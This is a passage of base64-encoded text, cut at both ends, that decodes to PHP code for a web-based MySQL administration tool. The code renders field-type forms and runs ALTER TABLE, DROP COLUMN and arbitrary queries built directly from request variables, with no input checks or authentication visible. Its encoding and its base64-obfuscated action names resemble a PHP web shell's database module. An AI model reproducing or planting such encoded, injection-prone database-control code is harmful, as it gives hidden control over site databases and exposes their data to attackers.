ESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFT